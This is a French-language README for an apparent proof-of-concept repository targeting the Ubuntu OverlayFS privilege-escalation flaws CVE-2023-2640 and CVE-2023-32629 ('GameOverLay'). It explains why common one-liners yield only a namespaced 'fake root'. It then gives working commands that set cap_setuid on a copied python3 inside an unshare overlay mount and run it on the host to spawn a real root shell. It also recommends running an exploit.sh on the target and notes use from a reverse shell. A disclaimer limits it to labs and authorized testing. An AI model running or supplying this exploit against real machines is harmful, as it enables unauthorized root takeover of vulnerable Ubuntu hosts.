CVE-2023-2640 et CVE-2023-32629 (GameOverLay) - Preuve de concept (PoC) d'évasion racine de l'hôte réel

Une preuve de concept (PoC) interactive et en plusieurs étapes d'élévation de privilèges locaux (LPE) ciblant les vulnérabilités OverlayFS du noyau Linux Ubuntu (CVE-2023-2640 / CVE-2023-32629).

Contrairement aux one-liners automatisés standard qui piègent votre shell interactif dans un espace de noms utilisateur restrictif (Fake Root), cette méthodologie divise la séquence d'exploitation pour délivrer en toute sécurité un véritable shell root hôte sans restriction.

Le problème du « Fake Root » expliqué

De nombreux exploits publics enchaînent la configuration et l'exécution en une seule séquence shell automatisée comme ceci : unshare -rm sh -c "mkdir l u w m && ... && touch m/*; python3 -c '...'"

Étant donné que la charge utile d'exécution Python est intégrée dans les guillemets doubles de unshare, elle s'exécute en interne dans le bac à sable de l'espace de noms utilisateur.

• Le résultat : Votre identifiant utilisateur s'affiche comme uid=0(root), mais votre shell est cryptographiquement isolé de l'hôte. Si vous essayez d'afficher le répertoire root de l'hôte (cd /root), vous obtiendrez une erreur Permission Denied.

La correction

Ce PoC divise le processus en deux étapes logiques distinctes :

1. Armer dans le bac à sable : Exécutez unshare pour simuler les privilèges root juste assez longtemps pour exploiter la faille ovl_copy_up d'OverlayFS, en divulguant une capacité haute privilège setcap cap_setuid+eip dans un dossier binaire Python local.
2. Exécuter en dehors du bac à sable : L'espace de noms se ferme automatiquement. Le binaire backdooré est ensuite exécuté directement depuis le contexte réel de l'hôte en tant qu'utilisateur normal non privilégié. Le noyau lit le flag divulgué, autorise os.setuid(0), et vous confère de véritables privilèges d'administration système au niveau de l'hôte.

Détails de la vulnérabilité

• CVE-2023-2640 : Restriction incorrecte des capacités des fichiers dans les espaces de noms utilisateur par OverlayFS du noyau Ubuntu.
• CVE-2023-32629 : Défaut dans la fonction ovl_copy_up_meta_inode_data du noyau Ubuntu permettant de contourner entièrement les contrôles de validation lors de la migration des fichiers.
• Systèmes affectés : Ubuntu 22.04 LTS exécutant des versions du noyau Linux inférieures à 6.2.0-26-generic.

Instructions d'utilisation

Méthode 1 : Le script automatisé (recommandé)

1. Clonez ou téléchargez exploit.sh sur la machine cible (par exemple, dans /tmp).
2. Donnez-lui les permissions d'exécution et exécutez-le :

chmod +x exploit.sh
./exploit.sh

Méthode 2 : Exécution interactive manuelle ligne par ligne

Si vous travaillez sur un shell inverse volatile, exécutez ces commandes complètement séparément, en appuyant sur Entrée après chaque ligne :

# 1. Nettoyer l'environnement de travail 
cd /tmp && rm -rf l u w m

# 2. Forger la backdoor dans le bac à sable temporaire de l'espace de noms
unshare -rm sh -c "mkdir l u w m && cp /usr/bin/python3 l/ && setcap cap_setuid+eip l/python3 && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*"

# 3. Déclencher l'exécution sur l'hôte réel pour obtenir le vrai root
./u/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Vérifiez vos véritables privilèges en consultant votre profil utilisateur actuel :

whoami
cat /root/root.txt

Crédits et remerciements

Les mécanismes d'exploitation de base utilisés dans ce remaniement interactif ont été découverts et documentés à l'origine par les chercheurs en sécurité Liav Eliyahu et g1vi.

Avertissement

Ce dépôt a été créé strictement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés (comme les laboratoires HackTheBox / OffSec). L'auteur décline toute responsabilité en cas d'utilisation abusive, de tentatives d'accès non autorisées ou de dommages à l'infrastructure causés par ce matériel. Utilisez-le de manière responsable.